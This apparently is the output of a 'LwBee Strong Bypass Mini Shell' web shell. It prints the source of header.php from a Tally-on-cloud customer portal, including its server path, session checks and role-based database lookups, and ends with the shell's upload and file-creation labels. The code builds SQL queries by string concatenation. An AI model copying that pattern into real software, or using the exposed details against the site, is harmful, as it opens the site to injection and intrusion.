/home3/vehiclea/public_html/mamacloud/header.php
<?php
ob_start();
// session_set_cookie_params(3600,"/");÷
session_start();
include "functions.php";  
date_default_timezone_set('Asia/Kolkata');

include "db.php"; 
if (version_compare(phpversion(), '5.4.0', '<'))
{
  if(session_id() == '') {
    session_start();
  }
}
else
{
  if (session_status() == PHP_SESSION_NONE)
  {
   session_start();
  }
}
if (isset($_SESSION['loginUser']))
{  
   $date = $_SESSION['time'];
   $time = date("Y-m-d H:i:s", strtotime($date)); 
   $logoutAfter = date("Y-m-d H:i:s", strtotime("+45 minutes",strtotime($time))); 
   $nowTime = date("Y-m-d H:i:s");   
   if($nowTime >= $logoutAfter) 
   {   
      $loginHis3 =  "UPDATE loginHistory SET logouTime = '$logoutAfter' where mailId = '".$_SESSION['loginUser']."' and id = '".$_SESSION['loginId']."'"; 
      mysqli_query($conn, $loginHis3);  
      header("Location: logout.php"); 
   }

} 
else {
    header("Location: login.php");
  exit; 
}   

?>  
<style type="text/css">
.p-viewer {
   z-index: 9999;
   position: absolute;
   top: 60%;
   right: 25px;
}
</style>
<!DOCTYPE html>
<html lang="en"> 
<head>
  <title>Mama Cloud Tally Experts | Tally on Cloud Technology</title>   
   <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1.0, user-scalable=no"> 
   <link rel="shortcut icon" href="assets/images/icon.png" type="image/x-icon">  
   <link href="https://fonts.googleapis.com/css?family=Ubuntu:400,500,700" rel="stylesheet"> 
   <link rel="stylesheet" type="text/css" href="assets/icon/themify-icons/themify-icons.css"> 
   <link rel="stylesheet" type="text/css" href="assets/icon/icofont/css/icofont.css"> 
   <link rel="stylesheet" type="text/css" href="assets/icon/simple-line-icons/css/simple-line-icons.css"> 
   <link rel="stylesheet" type="text/css" href="assets/plugins/bootstrap/css/bootstrap.min.css"> 
   <link rel="stylesheet" href="assets/plugins/chartist/dist/chartist.css" type="text/css" media="all"> 
   <link href="assets/css/svg-weather.css" rel="stylesheet"> 
   <link rel="stylesheet" type="text/css" href="assets/css/main.css"> 
   <link rel="stylesheet" type="text/css" href="assets/css/responsive.css"> 

     <link rel="stylesheet" href="//code.jquery.com/ui/1.13.2/themes/base/jquery-ui.css">
  <link rel="stylesheet" href="/resources/demos/style.css">
  <script src="https://code.jquery.com/jquery-3.6.0.js"></script>
  <script src="https://code.jquery.com/ui/1.13.2/jquery-ui.js"></script>
  <script> 
  $( function() {
    $(".datepicker").datepicker({ 
      dateFormat: "dd-M-yy", 
      type:  'datetime',
      onClick: function() {
       table.draw();  
     }, 
     changeMonth: true,
     changeYear: true 
    })  
  });  
  </script>



<style>
table {
  border-collapse: collapse;
  border-spacing: 0;
  width: 100%;
  border: 1px solid #ddd;
}
tfoot {
      display: table-header-group;
      }
th, td {
  text-align: left;
  /*padding: 16px;*/
  /*width:"10%";*/
}

tr:nth-child(even){background-color: #f2f2f2}
</style> 

</head>

<?php 
               if ($_SESSION['loginType'] == 'super admin') 
                           {  
                              $name = 'SUPER ADMIN';
                                 $cpName = 'SUPER ADMIN';
                              }
                            else if ($_SESSION['loginType'] == 'admin') {
                              $adminName = mysqli_query($conn,"SELECT firstName,lastName FROM addAdmin where mailId = '".$_SESSION['loginUser']."'");
                                 $adminNameData = mysqli_fetch_array($adminName);
                                 $name = $adminNameData['firstName'].' '.$adminNameData['lastName'];  
                                 $cpName = 'MAMA CLOUD';
                              } elseif ($_SESSION['loginType'] == 'partner') { 
                                 $partnerName = mysqli_query($conn,"SELECT adminId,firstName,lastName FROM addPartner where mailId = '".$_SESSION['loginUser']."'");
                                 $partnerNameData = mysqli_fetch_array($partnerName);
                                 $name = $partnerNameData['firstName'].' '.$partnerNameData['lastName'];
                                 $adminIdGet = $partnerNameData['adminId']; 
                                 $adminCpName = mysqli_query($conn,"SELECT companyName FROM addAdmin where adminId = '$adminIdGet'");
                                 $adminCpNameData = mysqli_fetch_array($adminCpName);
                  
                                  $cpName = $adminCpNameData['companyName'];  
                              } elseif ($_SESSION['loginType'] == 'user') {  
                                 $userName = mysqli_query($conn,"SELECT partnerId,firstName,lastName FROM addUser where mailId = '".$_SESSION['loginUser']."'");
                                 $userNameData = mysqli_fetch_array($userName);
                                 $name = $userNameData['firstName'].' '.$userNameData['lastName'];
                                 $partnerIdGet = $userNameData['partnerId'];

                                  $partnerCpName = mysqli_query($conn,"SELECT companyName FROM addPartner where partnerId = '$partnerIdGet'");
                                 $partnerCpNameData = mysqli_fetch_array($partnerCpName);
                                  $cpName = $partnerCpNameData['companyName']; 
                              } else {
                                 $subUserName = mysqli_query($conn,"SELECT adminId,partnerId,userId,firstName,lastName,instanceId FROM addSubUser where mailId = '".$_SESSION['loginUser']."'");
                                 $subUserNameData = mysqli_fetch_array($subUserName); 
                                 $name = $subUserNameData['firstName'].' '.$subUserNameData['lastName']; 
                                 $subUseradminIdGet = $subUserNameData['adminId'];
                                 $subUserpartnerIdGet = $subUserNameData['partnerId'];
                                 $subUseruserIdGet = $subUserNameData['userId'];
                                 $subUserinstanceIdGet = $subUserNameData['instanceId'];

                                 $userCpName = mysqli_query($conn,"SELECT companyName FROM addInstance where adminId = '$subUseradminIdGet' and partnerId = '$subUserpartnerIdGet' and userId = '$subUseruserIdGet' and instanceId = '$subUserinstanceIdGet'");
                                 $userCpNameData = mysqli_fetch_array($userCpName);
                                 $cpName = $userCpNameData['companyName']; 
                              }
?>

<body class="sidebar-mini fixed">
   <div class="loader-bg">
      <div class="loader-bar">
      </div>
   </div>
   
   <div class="wrapper"> 
      <header class="main-header-top hidden-print">
         <a href="index.php" class="logo"><img class="img-fluid able-logo" src="assets/images/logoMamacloud.png" alt="Theme-logo"></a>
         <nav class="navbar navbar-static-top"> 
            <a href="#!" data-toggle="offcanvas" class="sidebar-toggle"></a> 
            <h3 style="text-align: center; color: #FF8A00;padding: 7px 0px 0px 0px;"><?php echo strtoupper($cpName) ?> Welcomes You..!</h3>
            <!-- <div class="navbar-custom-menu f-right"> 
               <ul class="top-nav">     
                  <li class="pc-rheader-submenu">
                     <a href="#!" class="drop icon-circle" onclick="javascript:toggleFullScreen()">
                        <i class="icon-size-fullscreen"></i>
                     </a> 
                  </li> 
                  <li class="dropdown">
                     <a href="#" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false" class="dropdown-toggle drop icon-circle drop-image">
                        <span><img class="img-circle " src="assets/images/user.png" style="width:40px;" alt="User Image"> </span>
                        <span> <?php //echo strtoupper($_SESSION['loginType']); ?> <i class=" icofont icofont-simple-down"></i></span>

                     </a>
                     <ul class="dropdown-menu settings-menu"> 
                        <li> <?php //echo strtoupper($name); ?></li>
                      <li><a href="change_password.php"><i class="icon-lock"></i> Change Password</a></li> 
                        <li><a href="logout.php"><i class="icon-logout"></i> Logout</a></li>  
                     </ul>
                  </li>
               </ul> 
            </div> -->
         </nav>
      </header> 
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File